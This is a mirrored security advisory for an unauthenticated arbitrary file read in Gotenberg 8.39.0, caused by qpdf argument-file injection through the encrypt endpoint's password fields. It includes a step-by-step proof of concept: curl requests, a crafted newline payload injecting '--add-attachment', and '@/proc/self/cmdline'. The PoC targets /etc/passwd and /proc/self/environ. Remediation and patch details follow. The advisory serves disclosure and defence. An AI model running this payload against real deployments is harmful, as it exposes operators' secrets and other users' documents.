GHSA-R77C-GHHJ-665P
Unauthenticated arbitrary file read via QPDF @argument-file injection in the encrypt password fields
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v8.40.0 | github.com/gotenberg/gotenberg/v8 · -6 d desde divulgación | |
| Divulgación | Publicada | GHSA-R77C-GHHJ-665P divulgada · CVSS 7.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`POST /forms/pdfengines/encrypt` passes the caller-controlled `userPassword` and `ownerPassword` form fields verbatim as qpdf argv. qpdf expands any argument that begins with `@` as an argument file, and `/proc/self/cmdline` is readable by the service account, so `ownerPassword=@/proc/self/cmdline` turns the qpdf command line itself into an attacker-controlled argument source. A newline embedded in `userPassword` splits that file into crafted lines, which allows injecting `--add-attachment <path>` and embedding any file readable by the `gotenberg` user into the PDF that the API returns.
The result is an unauthenticated arbitrary file read on Gotenberg 8.39.0. The attacker downloads the returned PDF, decrypts it with the injected password, and extracts the attachment.
Details
`QPdf.Encrypt` builds the argument list without validating the password values (`pkg/modules/qpdf/qpdf.go:423-429`):
args := make([]string, 0, 14+len(engine.globalArgs))
args = append(args, inputPath)
args = append(args, engine.globalArgs...)
args = append(args, "--replace-input")
args = append(args, "--encrypt", opts.UserPassword, ownerPassword, "256")
args = append(args, qpdfPermissionArgs(opts.Permissions)...)
args = append(args, "--")qpdf's `QPDFArgParser::handleArgFileArguments()` treats a leading `@` as "read arguments from this file", and `read_lines_from_file()` splits the file on newlines. Two properties combine:
- `/proc/self/cmdline` contains the exact argv of the running qpdf process, including the attacker's password values, separated by NUL bytes that qpdf treats as part of the line content.
- The fixed trailing arguments (`256 --`) and the attacker's newlines re-open an `--encrypt` section in the parsed argument stream, so injected options are accepted as if they came from the command line.
The service runs as uid 1001 (`gotenberg`), so the readable set is everything that user can read: `/etc/passwd`, `/etc/hostname`, `/proc/self/environ`, and the per-request working directories under `/tmp`, which hold the source files of other in-flight conversions.
Proof of concept
Tested against Gotenberg 8.39.0 (the current release, 2026-10-27), no authentication.
1. Create the input document
cat > index.html <<'HTML'
<html><body><p>clean input</p></body></html>
HTML2. Convert it to a PDF
curl -s -o clean.pdf -X POST http://127.0.0.1:3000/forms/chromium/convert/html -F 'files=@index.html'3. Build the password payload
The value must contain real newlines. `$'...'` expands the escapes:
U=$'\n256\n--\n--add-attachment\n/etc/passwd\n--\n--encrypt\nA\nB'4. Send the encrypt request
`ownerPassword` points qpdf at its own command line; `userPassword` splits it into injected arguments.
curl -s -o enc.pdf -w 'HTTP %{http_code} size=%{size_download}\n' -X POST http://127.0.0.1:3000/forms/pdfengines/encrypt -F 'files=@clean.pdf' --form-string "userPassword=$U" --form-string 'ownerPassword=@/proc/self/cmdline'Expected:
HTTP 200 size=84965. List the attachments in the returned PDF
qpdf --password=A --list-attachments enc.pdfExpected:
passwd -> 7,06. Extract the attachment
qpdf --password=A --show-attachment=passwd enc.pdfExpected (the last line proves it came from the container, not from the caller):
root:x:0:0:root:/root:/bin/bash
...
gotenberg:x:1001:1001::/home/gotenberg:/bin/bash7. Same technique, other files
Replace `/etc/passwd` in step 3 with `/etc/hostname` for the container hostname, or `/proc/self/environ` for the service environment.
Impact
Any client that can reach the API reads files readable by the `gotenberg` account, without authentication. That includes:
- `/proc/self/environ`, which holds the operator's configuration, including any secrets passed through environment variables (webhook tokens, proxy credentials, API keys for external services).
- `/tmp`, where Gotenberg keeps the working directories of in-flight conversions, so one caller can read the source documents of another caller's conversion.
- `/etc/passwd`, `/etc/hostname` and any mounted configuration file the service can read.
On a shared or multi-tenant deployment, this is disclosure of other users' documents. On a single-tenant deployment behind a proxy, it is still a full read of the service environment and any secret the operator put there.
Unauthenticated (PR:N), no user interaction.
Recommended Remediation
The password values must never reach qpdf as raw argv. The minimal fix is to reject any password that begins with `@` or contains `\n` or `\r`, and to return a 400 that names the offending field — qpdf argument files and multi-line values are never legitimate PDF passwords.
A stronger fix is to stop passing the password as a positional argument altogether: write the values to a mode-0600 temporary file and pass them through a mechanism qpdf does not interpret as an argument file, or invoke qpdf through a wrapper that escapes leading `@`. Either way, the validation should live in the qpdf module, next to the argument construction, so every route that encrypts inherits it.
A regression test with `userPassword` containing a leading `@` and an embedded newline should assert that the API returns 400 rather than 200.
Patches
Fixed on `main` for 8.40.0 by 72b6d29 https://github.com/gotenberg/gotenberg/commit/72b6d2957e2e3ae976c08a6239022f77aa273d5b. QPDF receives both passwords as `--user-password=` and `--owner-password=` option values, never as positional arguments, so it no longer reads them as argument files. A password that starts with `@` or holds a newline now encrypts the PDF as typed. Gotenberg 9 doesn't run QPDF and isn't affected.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/gotenberg/gotenberg/v8 |
Corregida | v8.40.0 | -6 d | v8.40.0 no afectada |
v8.40.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/gotenberg/gotenberg/security/advisories/GHSA-r77c-ghhj-665pLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
